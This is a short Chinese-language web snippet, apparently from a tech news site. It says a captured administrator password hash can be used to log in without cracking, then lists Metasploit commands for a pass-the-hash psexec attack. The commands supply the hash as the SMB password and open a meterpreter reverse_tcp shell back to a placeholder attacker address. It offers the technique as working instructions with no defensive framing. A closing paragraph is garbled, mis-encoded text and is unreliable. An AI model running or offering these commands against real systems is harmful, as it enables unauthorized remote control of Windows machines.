扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
抓到管理员的密码hash根本不用破解,直接就可以登录。
usewindows/smb/psexec
set SMBUser username
set SMBPass 用户密码的hash值
set payload Windows/meterpreter/reverse_tcp
set rhost 333.333.333.333
set lhost 111.111.111.111
exploit
濡傛灉鎮ㄩ潪甯歌揩鍒囩殑鎯充簡瑙T棰嗗煙鏈€鏂颁骇鍝佷笌鎶€鏈俊鎭紝閭d箞璁㈤槄鑷抽《缃戞妧鏈偖浠跺皢鏄偍鐨勬渶浣抽€斿緞涔嬩竴銆�